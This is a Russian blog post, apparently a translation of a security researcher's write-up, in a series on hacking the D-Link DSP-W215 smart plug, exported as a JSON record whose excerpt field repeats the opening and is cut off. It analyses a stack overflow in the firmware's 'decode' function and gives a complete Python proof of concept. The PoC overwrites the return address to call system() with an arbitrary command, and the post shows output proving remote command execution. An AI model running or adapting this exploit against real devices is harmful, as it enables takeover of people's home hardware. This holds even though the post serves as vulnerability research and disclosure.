{"id":224063,"date":"2014-05-25T22:31:02","date_gmt":"2014-05-25T18:31:02","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=224063"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=224063","title":{"rendered":"<span class=\"post_title\">\u0412\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0435\u043c D-Link DSP-W215 Smart Plug: \u041e\u043f\u044f\u0442\u044c, \u0441\u043d\u043e\u0432\u0430, \u0435\u0449\u0435 \u0440\u0430\u0437<\/span>"},"content":{"rendered":"<div class=\"content html_format\">       <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/401\/5a2\/c5c\/4015a2c5cb181cb27ac71b6bac367f98.jpg\" alt=\"image\"\/><\/p>\n<p>  <b>\u0412 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0441\u0435\u0440\u0438\u044f\u0445:<\/b>  <\/p>\n<ol>\n<li><a href=\"http:\/\/habrahabr.ru\/post\/223313\/\">\u0412\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0435\u043c D-Link DSP-W215 Smart Plug<\/a><\/li>\n<li><a href=\"http:\/\/habrahabr.ru\/post\/223973\/\">\u0412\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0435\u043c D-Link DSP-W215 Smart Plug. \u0421\u043d\u043e\u0432\u0430<\/a><\/li>\n<li><a href=\"http:\/\/habrahabr.ru\/post\/223991\/\">\u0412\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0435\u043c D-Link DSP-W215 Smart Plug. \u0421\u043d\u043e\u0432\u0430 \u0438 \u043e\u043f\u044f\u0442\u044c<\/a><\/li>\n<\/ol>\n<p>  \u0414\u043e \u0441\u0438\u0445 \u043f\u043e\u0440, \u0432\u0441\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0432 DSP-W215 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 LAN, \u043d\u0443, \u0435\u0441\u043b\u0438 \u0432\u044b \u043d\u0435 \u0433\u043b\u0443\u043f\u0435\u0446 \u0438 \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Smart Plug \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430.<br \/>  \u0422\u0438\u043f\u0438\u0447\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u0430\u0442\u0430\u043a\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0441\u043e \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438, \u0442\u0438\u043f\u0430 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0443 DSP-W215 \u2014 \u0447\u0435\u0440\u0435\u0437 CSRF. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u044d\u0442\u043e\u0433\u043e \u043c\u0435\u0442\u043e\u0434\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043b\u044e\u0431\u043e\u0439 \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0431\u0443\u0434\u0435\u0442 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c (urlencode) \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430, \u043d\u043e \u0434\u043e \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043c\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u044e\u0442 (urldecode) \u043d\u0430\u0448\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 replace_special_char, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435, \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 ASCII-\u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432).<\/p>\n<p>  \u0411\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b my_cgi.cgi, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0446\u0435\u043b\u044c\u044e, \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e-\u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0449\u0438\u043a \u00abdecode\u00bb, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 POST-\u0434\u0430\u043d\u043d\u044b\u0435. \u042d\u0442\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0434\u0432\u0430 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430: \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0431\u0443\u0444\u0435\u0440, \u0433\u0434\u0435 \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0440\u0430\u0441\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435:  <\/p>\n<pre><code>void decode(char *encode_buf, char *decode_buf);<\/code><\/pre>\n<p>  \u042d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0446\u0438\u043a\u043b\u043e\u043c \u043f\u043e \u0432\u0441\u0435\u043c \u0431\u0430\u0439\u0442\u0430\u043c \u0432 encode_buf \u0438 \u0440\u0430\u0441\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 \u0438\u043b\u0438 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0438\u0445 \u0432 decode_buf:<br \/>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/c56\/407\/8d6\/c564078d6f9d95f57e9e7851d66fc711.png\" alt=\"image\"\/><\/p>\n<p>  \u0413\u0440\u0443\u0431\u043e \u0433\u043e\u0432\u043e\u0440\u044f, \u0435\u0435 \u043a\u043e\u0434 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a-\u0442\u043e \u0442\u0430\u043a:  <\/p>\n<pre><code>void decode(char *encode_buf, char *decode_buf) {     int encoded_byte_len;     char *encode_buf_end_ptr = encode_buf + strlen(encode_buf);       \/\/ Loop through all bytes in encode_buf, without knowing how big decode_buf is     while(encoded_data &lt; encode_buf_end_ptr)     {         \/*          * ...          * Do Decoding of the next byte in encoded_data.          * encoded_byte_len = number of bytes processed in this loop iteration (1 or 3).          * ...          *\/           decode_buf[0] = decoded_byte;         decode_buf++;         encoded_data += encoded_byte_len;     } }<\/code><\/pre>\n<p><a name=\"habracut\"><\/a><\/p>\n<p>  \u0415\u0441\u043b\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043d\u0435 \u043f\u043e\u0437\u0430\u0431\u043e\u0442\u0438\u043b\u0430\u0441\u044c \u043e \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u0431\u0443\u0444\u0435\u0440\u0430 \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0432\u0441\u0435 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u043e \u044d\u0442\u043e\u0442 \u0431\u0443\u0444\u0435\u0440 (decode_buf) \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d \u0431\u043e\u043b\u044c\u0448\u0438\u043c POST-\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c.<br \/>  \u0412 my_cgi.cgi \u0435\u0441\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u2014 get_input_entries:<br \/>  <img decoding=\"async\" src=\"http:\/\/www.devttys0.com\/wp-content\/uploads\/2014\/05\/strcmp_path.png\" alt=\"image\"\/><\/p>\n<p>  \u041a\u0430\u043a \u0432\u0438\u0434\u0438\u043c, \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u00abdecode\u00bb \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u0438\u043c\u044f POST-\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u00abpath\u00bb, \u0430 \u0438\u0437 memset \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u0447\u0442\u043e \u0431\u0443\u0444\u0435\u0440\u0443 decode_buf \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0441\u0435\u0433\u043e 0\u00d7400 \u043d\u0430 \u0441\u0442\u0435\u043a\u0435:  <\/p>\n<pre><code>char decode_buf[0x400];   if(strcmp(entries[i]-&gt;name, &quot;path&quot;) == 0) {     \/\/ Decode path POST value into the fixed-size decode_buf     decode(entries[i]-&gt;value, decode_buf);     strcpy(entries[i]-&gt;value, decode_buf); }   replace_special_char(entries[i]-&gt;value);<\/code><\/pre>\n<p>  \u042d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u043c\u044b \u043f\u0435\u0440\u0435\u0434\u0430\u0434\u0438\u043c \u0432 POST-\u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u00abpath\u00bb \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c 0\u00d7400 \u0431\u0430\u0439\u0442, \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 decode_buf \u043d\u0430 \u0441\u0442\u0435\u043a\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 get_input_entries. \u0418, \u0447\u0442\u043e \u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0443 \u043d\u0430\u0441 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u00ab\u043f\u043b\u043e\u0445\u0438\u0445\u00bb \u0431\u0430\u0439\u0442, \u0442.\u043a. \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u00abdecode\u00bb \u0432\u0441\u0435 \u0438\u0445 \u0440\u0430\u0441\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442 %00 \u0432 NULL-\u0431\u0430\u0439\u0442) \u043f\u0435\u0440\u0435\u0434 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u043d\u0430 \u0441\u0442\u0435\u043a.<\/p>\n<p>  \u041e\u0434\u043d\u0430\u043a\u043e, \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u0440\u043e\u044f\u0432\u0438\u0442\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 replace_special_char, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0434 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u043e\u043c \u0438\u0437 get_input_entries.<\/p>\n<p>  \u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442\u0441\u044f \u043a replace_special_char \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 strcpy \u0438\u0437 decode_buf, \u043f\u043e\u044d\u0442\u043e\u043c\u0443, \u0435\u0441\u043b\u0438 \u043c\u044b \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c NULL-\u0431\u0430\u0439\u0442 \u0433\u0434\u0435-\u0442\u043e \u0431\u043b\u0438\u0436\u0435 \u043a \u043d\u0430\u0447\u0430\u043b\u0443 POST-\u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u0444\u0443\u043d\u043a\u0446\u0438\u0438 replace_special_char \u043f\u0435\u0440\u0435\u0434\u0430\u0441\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u043e\u0447\u0435\u043d\u044c \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u043e\u0439 \u0434\u043b\u0438\u043d\u044b (\u0432\u0441\u0435 \u0442\u043e, \u0447\u0442\u043e \u0431\u044b\u043b\u043e \u0434\u043e \u043f\u0435\u0440\u0432\u043e\u0433\u043e NULL-\u0431\u0430\u0439\u0442\u0430) \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u0441\u0435\u0433\u043e POST-\u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0440\u0430\u0441\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d \u043d\u0430 \u0441\u0442\u0435\u043a.<\/p>\n<p>  POST-\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u00abpath\u00bb, \u0434\u043b\u0438\u043d\u043e\u0439 \u0431\u043e\u043b\u0435\u0435 1060 \u0431\u0430\u0439\u0442, \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0432\u0441\u0435 \u0432 \u0441\u0442\u0435\u043a\u043e\u0432\u043e\u043c \u0444\u0440\u0435\u0439\u043c\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 get_input_entries, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430:<br \/>  <img decoding=\"async\" src=\"http:\/\/www.devttys0.com\/wp-content\/uploads\/2014\/05\/get_input_entries_stack.png\" alt=\"image\"\/><\/p>\n<p>  \u0410 \u0438\u0437-\u0437\u0430 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0443 \u043d\u0430\u0441 \u043d\u0435\u0442 \u00ab\u043f\u043b\u043e\u0445\u0438\u0445\u00bb \u0431\u0430\u0439\u0442, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 0x00405CEC, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430\u0445, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0437\u0432\u0430\u0442\u044c system() \u0441 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u043c \u043d\u0430 \u0441\u0442\u0435\u043a ($sp+0\u00d728):<br \/>  <img decoding=\"async\" src=\"http:\/\/www.devttys0.com\/wp-content\/uploads\/2014\/05\/return_to_system.png\" alt=\"image\"\/><\/p>\n<p>  \u0412\u043e\u0442 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043a\u043e\u0434 PoC \u043d\u0430 Python, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e get_input_entries, \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u043d\u0430 \u0432\u044b\u0437\u043e\u0432 system() \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x00405CEC \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043d\u0430 \u0441\u0442\u0435\u043a\u0435 \u043f\u043e \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044e $sp+0\u00d728:  <\/p>\n<pre><code>import sys import urllib import urllib2   try:     target = sys.argv[1]     command = sys.argv[2] except:     print &quot;Usage: %s &lt;target&gt; &lt;command&gt;&quot; % sys.argv[0]     sys.exit(1)   url = &quot;http:\/\/%s\/common\/info.cgi&quot; % target   buf  = &quot;\\x00&quot;               # Start with a NULL byte to prevent crashing in replace_special_chars buf += &quot;D&quot; * (1060-1)       # Stack filler buf += &quot;\\x00\\x40\\x5C\\xEC&quot;   # $ra, address of call to system() buf += &quot;E&quot; * 0x28           # Stack filler buf += command              # Command to execute buf += &quot;\\x00&quot;               # NULL terminate the command, for good measure   # URL encode the path POST value post_data = &quot;path=&quot; + urllib.quote_plus(buf).replace('+', '%20')   # Set a referer to show that there are no CSRF protections headers = {'Referer' : 'http:\/\/www.attacker.com\/exploit.html'}   req = urllib2.Request(url, post_data, headers) print urllib2.urlopen(req).read()<\/code><\/pre>\n<p>  \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043e\u043d\u0430, \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u043a\u0430\u043a \u0438 \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f:  <\/p>\n<pre><code>$ .\/exploit.py 192.168.0.60 'ls -l \/' drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin drwxrwxr-x    3 1000     1000         4096 May 22 18:03 dev drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -&gt; bin\/busybox drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin drwxrwxrwx    3 1000     1000         4096 May 24 23:26 tmp drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var -rw-r--r--    1 1000     1000           17 May 16 09:01 version drwxrwxr-x    6 1000     1000         4096 May 22 17:15 www<\/code><\/pre>\n<div class=\"clear\"><\/div>\n<\/p><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/224063\/\"> http:\/\/habrahabr.ru\/post\/224063\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"content html_format\">       <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/401\/5a2\/c5c\/4015a2c5cb181cb27ac71b6bac367f98.jpg\" alt=\"image\"\/><\/p>\n<p>  <b>\u0412 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0441\u0435\u0440\u0438\u044f\u0445:<\/b>  <\/p>\n<ol>\n<li><a href=\"http:\/\/habrahabr.ru\/post\/223313\/\">\u0412\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0435\u043c D-Link DSP-W215 Smart Plug<\/a><\/li>\n<li><a href=\"http:\/\/habrahabr.ru\/post\/223973\/\">\u0412\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0435\u043c D-Link DSP-W215 Smart Plug. \u0421\u043d\u043e\u0432\u0430<\/a><\/li>\n<li><a href=\"http:\/\/habrahabr.ru\/post\/223991\/\">\u0412\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0435\u043c D-Link DSP-W215 Smart Plug. \u0421\u043d\u043e\u0432\u0430 \u0438 \u043e\u043f\u044f\u0442\u044c<\/a><\/li>\n<\/ol>\n<p>  \u0414\u043e \u0441\u0438\u0445 \u043f\u043e\u0440, \u0432\u0441\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0432 DSP-W215 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 LAN, \u043d\u0443, \u0435\u0441\u043b\u0438 \u0432\u044b \u043d\u0435 \u0433\u043b\u0443\u043f\u0435\u0446 \u0438 \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Smart Plug \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430.<br \/>  \u0422\u0438\u043f\u0438\u0447\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u0430\u0442\u0430\u043a\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0441\u043e \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438, \u0442\u0438\u043f\u0430 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0443 DSP-W215 \u2014 \u0447\u0435\u0440\u0435\u0437 CSRF. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u044d\u0442\u043e\u0433\u043e \u043c\u0435\u0442\u043e\u0434\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043b\u044e\u0431\u043e\u0439 \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0431\u0443\u0434\u0435\u0442 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c (urlencode) \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430, \u043d\u043e \u0434\u043e \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043c\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u044e\u0442 (urldecode) \u043d\u0430\u0448\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 replace_special_char, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435, \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 ASCII-\u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432).<\/p>\n<p>  \u0411\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b my_cgi.cgi, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0446\u0435\u043b\u044c\u044e, \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e-\u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0449\u0438\u043a \u00abdecode\u00bb, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 POST-\u0434\u0430\u043d\u043d\u044b\u0435. \u042d\u0442\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 